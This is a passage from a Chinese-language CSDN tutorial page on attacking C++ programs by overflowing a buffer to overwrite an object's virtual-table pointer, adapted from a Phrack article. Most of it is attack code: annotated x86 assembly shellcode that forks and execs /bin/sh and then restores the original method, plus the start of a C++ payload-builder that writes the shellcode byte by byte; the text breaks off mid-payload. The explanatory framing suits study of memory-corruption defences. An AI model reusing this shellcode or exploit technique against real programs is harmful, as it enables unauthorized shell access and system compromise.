📄 csdn_文档中心_突破c++的虚拟指针--c++程序的缓冲区溢出攻击.htm
字号:
MyClass1对象实例的Buffer。 P 指向MyClass1对象实例的指针。 X MyClass3对象实例的VPTR指针。
Y MyClass1对象实例的VPTR指针。
在这种技术中,它并不取决于编译器对类结构的处理(VPTR的偏移),但取决于程序员所定义的类结构。因此它对于在内存中把VPTR放在对象实例前的编译器(如Visual
C++)也是有效的。另外,在本例中,MyClass3对象类有可能会被作为本地对象而在堆栈中创建,这就使得地址的确定相对容易多了,因为对象实例的地址很可能是固定的。然而,在这种情况下,栈必须允许执行,而不象上例那样需要堆可执行。
确定BufferOverflow()函数中的两个参数值(填充VTABLE地址数量NAddress,VPTR的偏移量VPTROffset)并不件困难的事,因为通过调试程序就不难发现它们。但是第一个参数(对象实例在内存中的地址BufferAddress)却不容易得到(在没有源程序代码的情况下)。
---[[ 进阶,进阶,再进阶 ]]--------------------------------------
假如一个类中的最后一个变量存在缓冲区溢出漏洞,那只需向该缓冲区填充N(缓冲区大小为N) +
4字节。这样除了进程中该缓冲区、VPTR及其后的字符串结束符所占用的内存外不会修改其它内容。
对于这种情况,我们可以实现更“强大”的功能:在溢出缓冲区并执行我们的shellcode后,将继续原来程序的运行。
更具体的运行过程是首先执行我们的shellcode,然后改写缓冲区中的运行链,再保存(调用我们自己的方法前的)堆栈的状态。这样,我们就可以在最后再调用原来的方法,使原程序能够继续正常运行。
在具体的实现过程中需要注意或面对以下问题: -必须完全重写自定义的缓冲区,特别是shellcode部份,以使继续运行时得到适当的数值。
我们把shellcode的一部份(尽可能小)复制到另一块内存中。在本例中,我们选择复制到堆栈(这部份代码我们称为“stackcode”)。只要堆栈是可执行的,就不会有什么其它问题了。
-在进程中调用fork()产生子进程,以产生shell环境(exec())。父进程等待(wait())子进程退出,然后继续运行。
-继续原程序运行的代码地址是不变的,因为这个地址就是被覆盖方法的原入口指针。 - 注意EAX寄存器的使用,它是对象方法的返回值。
-由于是字符串缓冲区,不能含有00h字符,必须在运行时产生这些字符。 下图为用于实现上述功能的缓冲区结构和流程图:
+------------------------------------<-(1)---------------------------------+
| 我们的VTABLE |
=+=================== ==+= 9999TT999999.... MMMM
SSSS0000/bin/shAAA.... A BBB... Bnewstring99999.... VVVVL ==+=
==+= | | | ======== | | | | |
| +-->--+ | | \(堆栈的拷贝) | | | ========
+---(2)-->--------+ | BBB... B | | |
+-(3)->+ +--> old method 说明: 9
空指令代码(90h)。 T 用于代码生成的数值。 M Shellcode的起始地址。 S
“/bin/sh“字符串的起始地址。 0 需要在运行时换算成00h的机器代码。 /bin/sh 命令字符串“/bin/sh“。 A
Shellcode,功能是得到shell环境,将stackcode复制到堆栈并运行之。 B
Stackcode,功能是用新的字符串替换回缓冲区的内容,并调用原来的方法以恢复原程序的运行。 V 替换的VPTR。 L
缓冲区字符串结束符。
以下是p56-0x08中给出的shellcode、stackcode源代码。在我的机器中必须经过一些调整才能使用。有兴趣的朋友可以自己研究,以加强理解。
-------- cut here -------- pushl %ebp //save existing EBP
movl %esp,%ebp //stack frame creation xorl
%eax,%eax //EAX=0 movb
$0x31,%al //EAX=$StackCodeSize (size of the code
// who will be copied to the stack) subl
%eax,%esp //creation of a local variable to
// contain our stackcode pushl %edi pushl %esi
pushl %edx pushl %ecx pushl %ebx //save registers
pushf //save flags cld //direction
flag=incrementation xorl %eax,%eax //EAX=0 movw
$0x101,%ax //EAX=$AddThis (value added for
// calculating This on the stack) subl
%eax,0x8(%ebp) //we substract this value from the
// current This value on the stack, to
// restore the original This. xorl
%eax,%eax //EAX=0 movl
$0x804a874,%edi //EDI=$BufferAddress+$NullOffset
// (address of NULL dword in our
// buffer) stosl %eax,%es:(%edi) //we write
this NULL in the buffer movl
$0x804a87f,%edi //EDI=$BufferAddress+$BinSh00Offset
// (address of 00h from “/bin/sh“)
stosb %al,%es:(%edi) //we write this 00h at the end of
// “/bin/sh“ movb $0x2,%al
int $0x80 //fork() xorl %edx,%edx //EDX=0 cmpl
%edx,%eax jne 0x804a8c1 //if EAX=0 then jump to LFATHER
// (EAX=0 if father process) movb
$0xb,%al //else we are the child process movl
$0x804a878,%ebx //EBX=$BufferAddress+$BinShOffset
// (address of “/bin/sh“) movl
$0x804a870,%ecx //ECX=$BufferAddress+$BinShAddressOffset
// (adresse of address of “/bin/sh“) xorl
%edx,%edx //EDX=0h (NULL) int $0x80 //exec()
“/bin/sh“ LFATHER: movl %edx,%esi //ESI=0 movl
%edx,%ecx //ECX=0 movl %edx,%ebx //EBX=0 notl
%ebx //EBX=0xFFFFFFFF movl %edx,%eax //EAX=0 movb
$0x72,%al //EAX=0x72 int $0x80 //wait() (wait an exit
from the shell) xorl %ecx,%ecx //ECX=0 movb
$0x31,%cl //ECX=$StackCodeSize movl
$0x804a8e2,%esi //ESI=$BufferAddress+$StackCodeOffset
// (address of beginning of the //
stackcode) movl %ebp,%edi //EDI point to the end of or local
// variable subl %ecx,%edi //EDI point to
the beginning of or // local variable movl
%edi,%edx //EDX also point to the beginning of
// or local variable repz movsb
%ds:(%esi),%es:(%edi) //copy our stackcode into our local
// variable on the stack jmp *%edx //run
our stackcode on the stack stackcode: movl
$0x804a913,%esi //ESI=$BufferAddress+$NewBufferOffset
// (point to the new string we want to
// rewrite in the buffer) movl
$0x804a860,%edi //EDI=$BufferAddress (point to the
// beginning of our buffer) xorl
%ecx,%ecx //ECX=0 movb $0x9,%cl //ECX=$NewBufferSize
(length of the // new string) repz movsb
%ds:(%esi),%es:(%edi) //copy the new string at the
// beginning of our buffer xorb %al,%al //AL=0
stosb %al,%es:(%edi) //put a 00h at the end of the string movl
$0x804a960,%edi //EDI=$BufferAddress+$VPTROffset
// (address of VPTR) movl
$0x8049730,%eax //EAX=$VTABLEAddress (adresse of the
// original VTABLE from our class) movl
%eax,%ebx //EBX=$VTABLEAddress
stosl %eax,%es:(%edi) //correct the VPTR to point to the
// original VTABLE movb
$0x29,%al //AL=$LastByte (byte following the
// VPTR in memory) stosb %al,%es:(%edi) //we
correct this byte movl
0xc(%ebx),%eax //EAX=*VTABLEAddress+IAddress*4 //
(EAX take the address of the // original method in the
original // VTABLE). popf popl %ebx popl %ecx popl
%edx popl %esi popl %edi //restore flags and registers
movl %ebp,%esp popl %ebp //destroy the stack frame
jmp *%eax //run the original method - BufferAddress =
address of our buffer in memory. - IAddress = index in the VTABLE of the
1st method that will be executed. - VPTROffset = offset in our buffer of
the VPTR to overwrite. - AddThis = value that will be added to the This
pointer on the stack, because of the “strange handling“. - VTABLEAddress =
address of the original VTABLE of our class (coded in the executable). -
*NewBuffer = a pointer to the new chain that we want to place in our
buffer to normally continue the program. - LastByte = the original byte
following the VPTR in memory, that is overwritten at the time of the copy
of our buffer in the original buffer, because of the 00h. -------- cut
here --------
以下是测试程序(bo4.cpp)的源代码,摘自Phrack56-0x08。请有兴趣的朋友自己调试。(在我的机器上,只需要修改几个地方就可以了。)
#include <stdio.h> #include <string.h> #include
<malloc.h> #define BUFFERSIZE 256 class BaseClass { private: char
Buffer[BUFFERSIZE]; public: void SetBuffer(char *String) {
strcpy(Buffer,String); } virtual void PrintBuffer() {
printf(“%s\n“,Buffer); } }; class MyClass1:public BaseClass { public:
void PrintBuffer() { printf(“MyClass1: “); BaseClass::PrintBuffer(); }
}; class MyClass2:public BaseClass { public: void PrintBuffer() {
printf(“MyClass2: “); BaseClass::PrintBuffer(); } }; char
*BufferOverflow(unsigned long BufferAddress,int IAddress,int VPTROffset,
unsigned short AddThis,unsigned long VTABLEAddress,char *NewBuffer,char
LastByte) { char *CBuf; unsigned long *LBuf; unsigned short *SBuf; char
BinShSize,ShellCodeSize,StackCodeSize,NewBufferSize; unsigned long
i, MethodAddressOffset,BinShAddressOffset,NullOffset,BinShOffset,BinSh00Offset, ShellCodeOffset,StackCodeOffset, NewBufferOffset,NewBuffer00Offset, LastByteOffset;
char *BinSh=“/bin/sh“; CBuf=(char*)malloc(VPTROffset+4+1); LBuf=(unsigned
long*)CBuf; BinShSize=(char)strlen(BinSh); ShellCodeSize=0x62;
StackCodeSize=0x91+2-0x62; NewBufferSize=(char)strlen(NewBuffer);
MethodAddressOffset=IAddress*4; BinShAddressOffset=MethodAddressOffset+4;
NullOffset=MethodAddressOffset+8; BinShOffset=MethodAddressOffset+12;
BinSh00Offset=BinShOffset+(unsigned long)BinShSize;
ShellCodeOffset=BinSh00Offset+1; StackCodeOffset=ShellCodeOffset+(unsigned
long)ShellCodeSize; NewBufferOffset=StackCodeOffset+(unsigned
long)StackCodeSize; NewBuffer00Offset=NewBufferOffset+(unsigned
long)NewBufferSize; LastByteOffset=VPTROffset+4; for
(i=0;i<VPTROffset;i++) CBuf[i]=‘\x90‘; //NOPs SBuf=(unsigned
short*)&LBuf[2]; *SBuf=AddThis; //added to the This pointer on the
stack LBuf=(unsigned long*)&CBuf[MethodAddressOffset];
*LBuf=BufferAddress+ShellCodeOffset; //shellcode‘s address LBuf=(unsigned
long*)&CBuf[BinShAddressOffset]; *LBuf=BufferAddress+BinShOffset;
//address of “/bin/sh“ memcpy(&CBuf[BinShOffset],BinSh,BinShSize);
//“/bin/sh“ string //shellcode: i=ShellCodeOffset;
CBuf[i++]=‘\x55‘; //pushl %ebp
CBuf[i++]=‘\x89‘;CBuf[i++]=‘\xE5‘; //movl %esp,%ebp
CBuf[i++]=‘\x31‘;CBuf[i++]=‘\xC0‘; //xorl %eax,%eax
CBuf[i++]=‘\xB0‘;CBuf[i++]=StackCodeSize; //movb $StackCodeSize,%al
CBuf[i++]=‘\x29‘;CBuf[i++]=‘\xC4‘; //subl %eax,%esp
CBuf[i++]=‘\x57‘; //pushl %edi
CBuf[i++]=‘\x56‘; //pushl %esi
CBuf[i++]=‘\x52‘; //pushl %edx
CBuf[i++]=‘\x51
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -